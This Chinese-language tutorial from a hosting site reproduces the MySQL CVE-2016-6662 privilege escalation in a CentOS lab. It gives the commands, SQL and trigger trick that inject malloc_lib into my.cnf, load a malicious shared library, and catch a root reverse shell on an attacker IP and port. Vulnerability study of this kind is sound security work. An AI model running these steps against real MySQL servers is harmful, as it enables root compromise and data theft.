您好,登錄后才能下訂單哦!
本篇內容主要講解“Mysql CVE-2016-6662漏洞分析”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實用性強。下面就讓小編來帶大家學習“Mysql CVE-2016-6662漏洞分析”吧!
該漏洞允許攻擊者注入惡意配置到 mysql配置文件 my.cnf中,導致可加載任意擴展庫。當擴展庫中存在惡意指令時即可getshell。
備注:
以下實驗全程開啟 SELinux
該漏洞在 SELinux 開啟的狀態下也可用哦~
實驗系統為 Centos7
mysql <= 5.7.15
mysql <= 5.6.33
mysql <= 5.5.52
需要在 mysql官網 中 自行下載 符合版本的 mysql。
由于在Centos7上安裝時默認的 yum源頭是設置的 mysql5.7.30。我們不能使用 yum源安裝,需要手動下載 源碼,然后編譯安裝:
第一步、下載 mysql5.7.10 源碼
進入 mysql 各種版本下載頁面:
https://downloads.mysql.com/archives/community/
選擇 mysql5.7.10,本實驗以 5.7.10 作為例子。
下載時選擇 源碼方式,系統為 常規Linux,下載含有 Boost Headers 的源碼包:
第二步、創建用戶
在 Linux 中,mysql 不允許使用 root 賬號 運行。必須添加一個低權用戶運行 mysql服務
添加用戶,并且不允許登錄:
useradd -s /sbin/nologin mysql
第三步、解壓 mysql 源碼包
將下載好的 mysql 源碼包放到你想放的路徑。最好放到 /usr/local 下。
解壓命令:
tar -xzvf xxxxxx.tar.gz
第四步、安裝依賴包
由于源碼編譯 mysql 需要一些運行庫、依賴包等東西。我們需要先自行下好:
yum install -y gcc gcc-c++ cmake ncurses ncurses-devel bison
第五步、編譯安裝
解壓完成后,進入剛解壓好的mysql 目錄下,執行命令進行編譯:
cmake -DDEFAULT_CHARSET=utf8 -DDEFAULT_COLLATION=utf8_general_ci -DWITH_BOOST=boost
命令運行完后,再進行安裝:
make && make install
安裝完成后,應該會有一個新文件夾 /usr/local/mysql。這個就是安裝好的mysql 的文件夾了。
第六步、配置 mysql 配置文件
默認一般是沒有自動創建 /etc/my.cnf 文件的。需要我們自己拷貝一份模板文件過去。
my.cnf 模板文件在 mysql 目錄(這里往后講的 mysql 目錄都是指 安裝完成后創建的 /usr/local/mysql)下的 support-files 文件夾里。
模板文件名為:
/usr/local/mysql/support-files/my-default.cnf
將其拷貝為 /etc/my.cnf
cp my-default.cnf /etc/my.cnf
我們還需要創建一個文件夾,供數據庫文件存放。我直接在 mysql 目錄創建了一個名為 data 的文件夾。將其作為 數據庫文件存放路徑:
mkdir /usr/local/mysql/data/
為保證權限,可以給它 777:
chmod 777 /usr/local/mysql/data/
將整個 mysql 目錄所屬歸為 mysql 用戶:
chown mysql:mysql /usr/local/mysql
配置 mysql 配置文件。在配置文件模板的基礎上,修改三個重點配置:
basedir 設定為 mysql 目錄
datadir 設定為 數據庫文件存放目錄
port 設定為 數據庫監聽端口
第七步、創建 mysql 服務
注意:一定要先配置好 mysql 配置文件 /etc/my.cnf,不然創建服務的時候會報錯
在 mysql 目錄下 的 bin 目錄,執行命令:
./mysqld --initialize-insecure --user=mysql --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data
其中,user參數為 啟動 mysql 的用戶。我們使用我們剛剛創建好的低權限用戶。
basedir 和 datadir 必須和配置文件 /etc/my.cnf 的值一致。不然也會報錯
執行完后,將會在 mysql目錄下的 support-files 文件夾看到 mysql.server 文件。
我們將 mysql.server 文件拷貝為 /etc/init.d/mysqld
cp mysql.server /etc/init.d/mysqld
完成后,我們就可以使用命令:
/etc/init.d/mysqld restart
重啟mysql 服務
這個漏洞官方介紹網上很多。這里我就用大白話的方式來講,并配合簡單的示例來演示:
mysql 配置中在 [mysqld] 下有一個配置項。名為 malloc_lib。這個配置項可以加載任意位置的 so 文件,并執行。
然而執行 malloc_lib 指定的 so 文件的進程是 mysql_safe。這個進程是以 root 用戶運行的:
但是由于是配置文件指定的 so 文件,mysql服務需要 重啟 才會重新加載配置文件。所以最后需要將 mysql 重啟才能完成整個攻擊流程。
我們需要下載好 大神寫好的 c文件:
http://legalhackers.com/exploits/mysql_hookandroot_lib.c
修改攻擊腳本:
由于是演示,就用本機。 mysql 配置文件就寫默認的配置文件 /etc/my.cnf:
寫入后保存退出。進行編譯:
gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl
將會生成一個 so文件:
配置 /etc/my.cnf 文件,在 [mysqld] 下加上一行配置:
malloc_lib=/tmp/mysql_hookandroot_lib.so
這里 malloc_lib 指定的就是剛剛生成好的惡意 so文件 路徑
寫入后保存退出。由于 poc 寫的是 127.0.0.1,所以我們開啟本機上對應的端口:
nc -lvp 6033
重啟 mysql 服務:
/etc/init.d/mysqld restart
有個小小的報錯,不過不要緊,我們已經getshell了:
后文的攻擊大致流程就是這樣子:
想辦法修改配置文件,并加上一行配置,最后重啟mysql服務
我們首先讓 mysql 的 root 用戶能夠讓外網登錄,連入mysql,輸入以下命令:
grant all privileges on *.* to 'root'@'%' identified by '123456'; flush privileges;
上傳寫入惡意 so文件
值得一提的是,mysql5.7.10 默認是開放 secure_file_priv 的
關于寫入惡意 so文件,我們可以通過 python 并配合 mysql 的 dumpfile 語句。將文件的十六進制碼進行寫入。
python 文件轉十六進制碼:
import binascii f = open("mysql_hookandroot_lib.so", "rb") a = f.read() hexstr = binascii.b2a_hex(a) f.close() f = open("res.txt","w") f.write(hexstr) f.close()
得到一大串十六進制字符:
構造 mysql 語句:
注意:mysql寫入十六進制碼時,需要在字符前加一個 0x
select 0x一大串字符 into dumpfile "/tmp/cvetest.so"
這個漏洞能夠利用成功的最關鍵的一步,就是通過mysql的命令,修改 / 新增 my.cnf 配置。使其能夠成功讀取到 malloc_lib 配置項。
這里有幾個坑點,一一列舉:
(1)配置文件路徑
mysql 中除了默認的 /etc/my.cnf。還有別的配置文件路徑。并且是順序讀取的。放一張官網圖:
https://dev.mysql.com/doc/refman/5.7/en/option-files.html
如圖所示,不僅僅會讀取 /etc/my.cnf文件,而且還會讀取 $MYSQL_HOME/my.cnf,這個是指 mysql目錄下的my.cnf。
為什么鐘情于 mysql目錄下的 my.cnf呢?因為 mysql目錄,mysql用戶99%的幾率是可讀寫的。而別的目錄可不可寫就難說了。。
(2)outfile / dumpfile
正常情況下,談到導出文件。第一反應就是使用 mysql 的語句:outfile、dumpfile。
可惜,這里有一個坑點。
我們來嘗試用 mysql 的outfile 寫一個 my.cnf 出來:
select "[mysqld]\nmalloc_lib=/tmp/cvetest.so" into outfile "/usr/local/mysql/my.cnf";
然后重啟 mysql 的時候將會報錯:
這是因為,我們通過 outfile / dumpfile 寫出來的文件,權限是 rw rw rw。
在 mysql 中有個安全策略:如果配置文件的權限可被 其他用戶 寫,則將會忽略這個配置文件。
而通過 outfile 寫出來的文件權限是 rw rw rw。不符合 mysql 的安全策略規則。
所以我們得另辟蹊徑。
(3)general_log與配置文件格式
在mysql中想要寫入文件,還有一個語句:general_log。
我們可以通過 general_log,寫入 my.cnf 文件。
通過 general_log 寫入的文件其他用戶 無權限。
首先,先將 general_log 文件路徑設置為 mysql目錄下的 my.cnf 文件。即:/usr/local/mysql/my.cnf
set global general_log_file = "/usr/local/mysql/my.cnf";
開啟 general_log:
set global general_log=on;
寫入配置:
MySQL [(none)]> select " "> [mysqld] "> malloc_lib=/tmp/cvetest.so "> #";
寫入成功后,查看文件權限:
查看內容,發現通過 general_log 新增寫入文件的方式,會先寫入 banner 信息,然后再寫如具體日志。
由于 my.cnf 文件不是以 [] 開頭。mysql 讀取的時候會報錯。也無法成功getshell:
(4)攻擊條件
在測試的時候發現,general_log 對于已經存在的文件,將會追加。
而 my.cnf 中的配置。配置不正確 mysql 將會忽略配置。但是配置文件必須以 [] 開頭。
得出攻擊條件:
當 mysql 有已經創建好的 my.cnf 文件時,才可通過 general_log 對該文件追加配置。
我們創建好一個 /usr/loca/mysql/my.cnf。簡單寫一個配置:
[mysqld] secure_file_priv = NULL
將新的 my.cnf 所有權給 mysql:
chown mysql:mysql my.cnf
重啟 mysql。然后我們像上面的(3)一樣:修改 general_log 路徑;開啟 general_log;寫入惡意配置項:
查看配置文件,由于之前已經寫好了配置文件,所以現在 my.cnf 是以 [] 開頭的:
嘗試重啟 mysql:
成功 getshell:
(5)/etc/my.cnf
在實際情況中,可能 mysql 的配置項就一個默認的 /etc/my.cnf。那我們可不可以通過 general_log 追加到 /etc/my.cnf 中呢?
答案是:看情況。。。
默認 /etc/my.cnf 的權限是 r rx r
如果這種情況設置 general_log ,則會報錯:
mysql要寫入的話,需要具有 寫入 權限
現實中管理員錯配權限也是經常發生的情況。
將 /etc/my.cnf 權限修改為 rw r r:
chmod 644 /etc/my.cnf
嘗試寫入:
成功寫入:
重啟后自然成功getshell:
按照網上的說法,其實不需要root用戶,只需要一個具有 select,insert,create,file 權限的用戶即可。
我們來創建一個用戶,及其對應的數據庫:
連入mysql,執行下面語句:
create database cvetest; grant file on *.* to 'cveuser'@'%' identified by '123456'; grant select,insert,create on cvetest.* to 'cveuser'@'%'; flush privileges;
將 /etc/my.cnf 權限設置為 600,所屬用戶為 mysql:
chmod 600 /etc/my.cnf chown mysql:mysql /etc/my.cnf
首先我們需要先下載大佬寫好的攻擊腳本:一個python文件和一個c文件:
0ldSQL_MySQL_RCE_exploit.py:
http://legalhackers.com/exploits/0ldSQL_MySQL_RCE_exploit.pymysql_hookandroot_lib.c:
http://legalhackers.com/exploits/mysql_hookandroot_lib.c
默認kali沒有安裝 mysql-connector,而大神寫的腳本中用了這個庫。
不安裝的話將會報錯:
ImportError: No module named mysql.connector
我們需要手動安裝:
python -m pip install mysql-connector
由于python腳本中有些配置和我們實驗環境不符,我們還需要手動修改一下:
(1)python - 將 trigger 觸發器目錄設置成實驗靶機的 data 目錄
首先需要知道靶機的 data 目錄在哪。連入靶機的 mysql ,輸入命令:
show variables like "%data%";
這里的 datadir 的值就是 mysql 服務的 data 目錄路徑。
修改 python 腳本:
(2)python - 修改惡意so文件導出路徑
雖然腳本里說 /tmp 重啟會丟失文件, /var/lib/mysql mysql 也有權限寫入
但是實際上用的時候可能會報錯,沒有權限寫入。
個人認為最好把路徑改回成 /tmp
(3)c - 修反彈shell端口
編輯 c 文件,注意該文件需要和 python 文件放在同一目錄下。
修改配置:
ATTACKERS_IP 設置為 攻擊機ip
SHELL_PORT 設置為 攻擊機接收反彈shell的端口
INJECTED_CONF 設置為 我們攻擊時使用的 my.cnf 路徑
直接運行 exp:
pyhton 0ldSQL_MySQL_RCE_exploit.py -dbuser cveuser -dbpass 123456 -dbhost 10.11.123.249 -dbname cvetest -mycnf /etc/my.cnf
我們來看看這個 exp 是如何實現 非 root 用戶 卻能夠修改 general_log 配置 的:
找到關鍵SQL語句:
將其單獨抽出來整理格式查看:
這是一個觸發器
但是這不是直接執行的,而是通過 mysql 的 dumpfile 語句寫入到文件里的:
為什么要用觸發器呢?為什么要寫入到文件中不直接執行呢?
帶著這些疑問,我們來實踐一下:
非 root 用戶,無法直接 set global general_log
先說一個小細節:
select user() 和 select current_user() 的區別:
select current_user() 查詢出來的用戶才是真正的存在數據庫里的用戶格式。
嘗試設置 general_log:
無權限。
觸發器 - 以他人權限執行 SQL 語句
官網中對于觸發器的格式描述:
官網鏈接在此:
https://dev.mysql.com/doc/refman/5.7/en/create-trigger.html
大意是說, mysql的觸發器可以通過設置 DEFINER 參數,以別的用戶身份執行觸發器的 SQL語句。
語句:
create definer='root'@'localhost' trigger test1 指定使用用戶 'root'@'localhost'執行觸 發器 test1 after INSERT 觸發器在執行 INSERT 語句之后執行 on test1.t1 在哪個表上設置觸發器 for each ROW 固定格式 BEGIN 固定格式,表示觸發器要執行的SQL語句開始 select "1" into outfile "/tmp/1234567.txt"; 觸發器要執行的SQL語句 END 固定格式,表示觸發器要執行的SQL語句結束
但是并不是任何用戶都能使用 root 用戶身份去執行的。
想要以 root 身份執行觸發器,創建者必須具有 super 權限:
備注:
delimiter | 表示暫時性設置 Mysql 每條語句的分隔符為 |,mysql語句分隔符默認是 ;。但是由于觸發器中需要寫入 sql語句,sql語句中有 ; 。會導致 sql語句提前結束。所以需要暫時性修改分隔符。
莫非到此就結束了?我們還有一計。
參考大神的腳本時,發現它將觸發器寫入到了一個文件中,這個文件路徑也是我們用 exp 的時候需要修改的路徑:
莫非 mysql 創建了觸發器之后,將會以文件形式保存下來?
動手實驗一探究竟。
我們直接使用 root 用戶來創建觸發器:
語句:
跟上面那個一樣
create definer='root'@'localhost' trigger test1 after INSERT on test1.t1 for each ROW BEGIN select "1" into outfile "/tmp/1234567.txt"; end |
創建成功:
我們到 mysql 的數據庫文件目錄去看看:
如果不知道數據庫文件目錄在哪,在mysql終端中輸入 :
show variables like "%datadir%";
默認情況下,數據庫文件目錄下,數據庫文件夾名 和數據庫名一致。我們找到我們的 test1數據庫的目錄,并 進入
注意:這里的數據庫文件夾 mysql 用戶都是可寫的
發現真的多了兩個 TRN文件,有用的文件就是和數據表名對應的 TRN文件:
查看內容:
也就是說,mysql 的觸發器文件就是保存在數據庫文件目錄下的數據庫文件夾中。文件名與表名對應。
根據上面實驗,我們可以整理出 exp 的原理和流程了:
(1)首先連入 mysql 。連入賬戶不需要 root 用戶,只要能 select,insert,create,file 即可
(2)將 惡意 so庫 寫入到文件夾中。這里最好寫到 /tmp 目錄下。也可嘗試寫入 mysql 數據庫目錄下
(3)創建一個新表,為后面觸發器做準備
(4)將觸發器的配置寫入到觸發器文件中,觸發器的配置為通過 general_log 對 my.cnf 文件進行配置追加
(5)對表進行操作,使其執行觸發器
到此,相信大家對“Mysql CVE-2016-6662漏洞分析”有了更深的了解,不妨來實際操作一番吧!這里是億速云網站,更多相關內容可以進入相關頻道進行查詢,關注我們,繼續學習!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。